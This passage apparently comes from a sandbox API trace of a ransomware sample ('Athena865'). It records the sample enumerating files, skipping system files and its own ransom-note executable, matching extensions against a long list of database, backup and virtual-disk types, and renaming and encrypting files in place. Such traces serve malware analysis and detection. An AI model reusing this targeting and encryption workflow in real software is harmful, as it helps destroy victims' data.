dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.147] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2350) returned 1 [0129.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.147] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.147] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.148] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.148] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.148] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x154 [0129.150] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc30) returned 0x100000 [0129.150] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.151] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.151] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.151] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.152] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.152] CloseHandle (hObject=0x154) returned 1 [0129.152] CloseHandle (hObject=0x17c) returned 1 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.152] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2=".") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="..") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="windows") returned -1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="bootmgr") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="temp") returned -1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="pagefile.sys") returned -1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="boot") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ids.txt") returned 1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="ntuser.dat") returned -1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="perflogs") returned -1 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2="MSBuild") returned -1 [0129.153] lstrlenW (lpString="J0241037.WMF") returned 12 [0129.153] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241037.WMF" | out: lpString1="J0241037.WMF") returned="J0241037.WMF" [0129.153] lstrlenW (lpString="J0241037.WMF") returned 12 [0129.153] lstrlenW (lpString="Athena865") returned 9 [0129.153] lstrcmpiW (lpString1="41037.WMF", lpString2="Athena865") returned -1 [0129.153] lstrlenW (lpString=".dll") returned 4 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2=".dll") returned 1 [0129.153] lstrlenW (lpString=".lnk") returned 4 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2=".lnk") returned 1 [0129.153] lstrlenW (lpString=".ini") returned 4 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2=".ini") returned 1 [0129.153] lstrlenW (lpString=".sys") returned 4 [0129.153] lstrcmpiW (lpString1="J0241037.WMF", lpString2=".sys") returned 1 [0129.153] lstrlenW (lpString="J0241037.WMF") returned 12 [0129.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.Athena865") returned 73 [0129.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.athena865"), dwFlags=0x1) returned 1 [0129.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.155] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2638) returned 1 [0129.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.155] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.155] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.156] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.156] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.156] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x154 [0129.158] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0129.159] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.162] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.162] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.165] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.166] CloseHandle (hObject=0x154) returned 1 [0129.166] CloseHandle (hObject=0x17c) returned 1 [0129.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.170] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2=".") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="..") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="windows") returned -1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="bootmgr") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="temp") returned -1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="pagefile.sys") returned -1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="boot") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ids.txt") returned 1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="ntuser.dat") returned -1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="perflogs") returned -1 [0129.170] lstrcmpiW (lpString1="J0241041.WMF", lpString2="MSBuild") returned -1 [0129.170] lstrlenW (lpString="J0241041.WMF") returned 12 [0129.171] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0241041.WMF" | out: lpString1="J0241041.WMF") returned="J0241041.WMF" [0129.171] lstrlenW (lpString="J0241041.WMF") returned 12 [0129.171] lstrlenW (lpString="Athena865") returned 9 [0129.171] lstrcmpiW (lpString1="41041.WMF", lpString2="Athena865") returned -1 [0129.171] lstrlenW (lpString=".dll") returned 4 [0129.171] lstrcmpiW (lpString1="J0241041.WMF", lpString2=".dll") returned 1 [0129.171] lstrlenW (lpString=".lnk") returned 4 [0129.171] lstrcmpiW (lpString1="J0241041.WMF", lpString2=".lnk") returned 1 [0129.171] lstrlenW (lpString=".ini") returned 4 [0129.171] lstrcmpiW (lpString1="J0241041.WMF", lpString2=".ini") returned 1 [0129.171] lstrlenW (lpString=".sys") returned 4 [0129.171] lstrcmpiW (lpString1="J0241041.WMF", lpString2=".sys") returned 1 [0129.171] lstrlenW (lpString="J0241041.WMF") returned 12 [0129.171] lstrlenW (lpString="bak") returned 3 [0129.171] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.171] lstrlenW (lpString="ba_") returned 3 [0129.171] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.171] lstrlenW (lpString="dbb") returned 3 [0129.171] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.171] lstrlenW (lpString="vmdk") returned 4 [0129.171] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.171] lstrlenW (lpString="rar") returned 3 [0129.171] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.171] lstrlenW (lpString="zip") returned 3 [0129.171] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.171] lstrlenW (lpString="tgz") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.172] lstrlenW (lpString="vbox") returned 4 [0129.172] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.172] lstrlenW (lpString="vdi") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.172] lstrlenW (lpString="vhd") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.172] lstrlenW (lpString="vhdx") returned 4 [0129.172] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.172] lstrlenW (lpString="avhd") returned 4 [0129.172] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.172] lstrlenW (lpString="db") returned 2 [0129.172] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.172] lstrlenW (lpString="db2") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.172] lstrlenW (lpString="db3") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.172] lstrlenW (lpString="dbf") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.172] lstrlenW (lpString="mdf") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.172] lstrlenW (lpString="mdb") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.172] lstrlenW (lpString="sql") returned 3 [0129.172] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.172] lstrlenW (lpString="sqlite") returned 6 [0129.172] lstrcmpiW (lpString1="41.WMF", lpString2="sqlite") returned -1 [0129.173] lstrlenW (lpString="sqlite3") returned 7 [0129.173] lstrcmpiW (lpString1="041.WMF", lpString2="sqlite3") returned -1 [0129.173] lstrlenW (lpString="sqlitedb") returned 8 [0129.173] lstrcmpiW (lpString1="1041.WMF", lpString2="sqlitedb") returned -1 [0129.173] lstrlenW (lpString="xml") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.173] lstrlenW (lpString="$er") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.173] lstrlenW (lpString="4dd") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.173] lstrlenW (lpString="4dl") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.173] lstrlenW (lpString="^^^") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.173] lstrlenW (lpString="abs") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.173] lstrlenW (lpString="abx") returned 3 [0129.173] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.173] lstrlenW (lpString="accdb") returned 5 [0129.173] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0129.173] lstrlenW (lpString="accdc") returned 5 [0129.173] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0129.173] lstrlenW (lpString="accde") returned 5 [0129.173] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0129.173] lstrlenW (lpString="accdr") returned 5 [0129.173] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0129.173] lstrlenW (lpString="accdt") returned 5 [0129.173] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0129.174] lstrlenW (lpString="accdw") returned 5 [0129.174] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0129.174] lstrlenW (lpString="accft") returned 5 [0129.174] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0129.174] lstrlenW (lpString="adb") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.174] lstrlenW (lpString="adb") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.174] lstrlenW (lpString="ade") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.174] lstrlenW (lpString="adf") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.174] lstrlenW (lpString="adn") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.174] lstrlenW (lpString="adp") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.174] lstrlenW (lpString="alf") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.174] lstrlenW (lpString="ask") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.174] lstrlenW (lpString="btr") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.174] lstrlenW (lpString="cat") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.174] lstrlenW (lpString="cdb") returned 3 [0129.174] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.174] lstrlenW (lpString="ckp") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.175] lstrlenW (lpString="cma") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.175] lstrlenW (lpString="cpd") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.175] lstrlenW (lpString="dacpac") returned 6 [0129.175] lstrcmpiW (lpString1="41.WMF", lpString2="dacpac") returned -1 [0129.175] lstrlenW (lpString="dad") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.175] lstrlenW (lpString="dadiagrams") returned 10 [0129.175] lstrcmpiW (lpString1="241041.WMF", lpString2="dadiagrams") returned -1 [0129.175] lstrlenW (lpString="daschema") returned 8 [0129.175] lstrcmpiW (lpString1="1041.WMF", lpString2="daschema") returned -1 [0129.175] lstrlenW (lpString="db-journal") returned 10 [0129.175] lstrcmpiW (lpString1="241041.WMF", lpString2="db-journal") returned -1 [0129.175] lstrlenW (lpString="db-shm") returned 6 [0129.175] lstrcmpiW (lpString1="41.WMF", lpString2="db-shm") returned -1 [0129.175] lstrlenW (lpString="db-wal") returned 6 [0129.175] lstrcmpiW (lpString1="41.WMF", lpString2="db-wal") returned -1 [0129.175] lstrlenW (lpString="dbc") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.175] lstrlenW (lpString="dbs") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.175] lstrlenW (lpString="dbt") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.175] lstrlenW (lpString="dbv") returned 3 [0129.175] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.176] lstrlenW (lpString="dbx") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.176] lstrlenW (lpString="dcb") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.176] lstrlenW (lpString="dct") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.176] lstrlenW (lpString="dcx") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.176] lstrlenW (lpString="ddl") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.176] lstrlenW (lpString="dlis") returned 4 [0129.176] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.176] lstrlenW (lpString="dp1") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.176] lstrlenW (lpString="dqy") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.176] lstrlenW (lpString="dsk") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.176] lstrlenW (lpString="dsn") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.176] lstrlenW (lpString="dtsx") returned 4 [0129.176] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.176] lstrlenW (lpString="dxl") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.176] lstrlenW (lpString="eco") returned 3 [0129.176] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.176] lstrlenW (lpString="ecx") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.177] lstrlenW (lpString="edb") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.177] lstrlenW (lpString="epim") returned 4 [0129.177] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.177] lstrlenW (lpString="fcd") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.177] lstrlenW (lpString="fdb") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.177] lstrlenW (lpString="fic") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.177] lstrlenW (lpString="flexolibrary") returned 12 [0129.177] lstrlenW (lpString="fm5") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.177] lstrlenW (lpString="fmp") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.177] lstrlenW (lpString="fmp12") returned 5 [0129.177] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0129.177] lstrlenW (lpString="fmpsl") returned 5 [0129.177] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0129.177] lstrlenW (lpString="fol") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.177] lstrlenW (lpString="fp3") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.177] lstrlenW (lpString="fp4") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.177] lstrlenW (lpString="fp5") returned 3 [0129.177] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.178] lstrlenW (lpString="fp7") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.178] lstrlenW (lpString="fpt") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.178] lstrlenW (lpString="frm") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.178] lstrlenW (lpString="gdb") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.178] lstrlenW (lpString="gdb") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.178] lstrlenW (lpString="grdb") returned 4 [0129.178] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.178] lstrlenW (lpString="gwi") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.178] lstrlenW (lpString="hdb") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.178] lstrlenW (lpString="his") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.178] lstrlenW (lpString="ib") returned 2 [0129.178] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.178] lstrlenW (lpString="idb") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.178] lstrlenW (lpString="ihx") returned 3 [0129.178] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.178] lstrlenW (lpString="itdb") returned 4 [0129.178] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.178] lstrlenW (lpString="itw") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.179] lstrlenW (lpString="jet") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.179] lstrlenW (lpString="jtx") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.179] lstrlenW (lpString="kdb") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.179] lstrlenW (lpString="kexi") returned 4 [0129.179] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.179] lstrlenW (lpString="kexic") returned 5 [0129.179] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0129.179] lstrlenW (lpString="kexis") returned 5 [0129.179] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0129.179] lstrlenW (lpString="lgc") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.179] lstrlenW (lpString="lwx") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.179] lstrlenW (lpString="maf") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.179] lstrlenW (lpString="maq") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.179] lstrlenW (lpString="mar") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.179] lstrlenW (lpString="marshal") returned 7 [0129.179] lstrcmpiW (lpString1="041.WMF", lpString2="marshal") returned -1 [0129.179] lstrlenW (lpString="mas") returned 3 [0129.179] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.180] lstrlenW (lpString="mav") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.180] lstrlenW (lpString="maw") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.180] lstrlenW (lpString="mdbhtml") returned 7 [0129.180] lstrcmpiW (lpString1="041.WMF", lpString2="mdbhtml") returned -1 [0129.180] lstrlenW (lpString="mdn") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.180] lstrlenW (lpString="mdt") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.180] lstrlenW (lpString="mfd") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.180] lstrlenW (lpString="mpd") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.180] lstrlenW (lpString="mrg") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.180] lstrlenW (lpString="mud") returned 3 [0129.180] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.180] lstrlenW (lpString="mwb") returned 3 [0129.180] lstrcmpiW 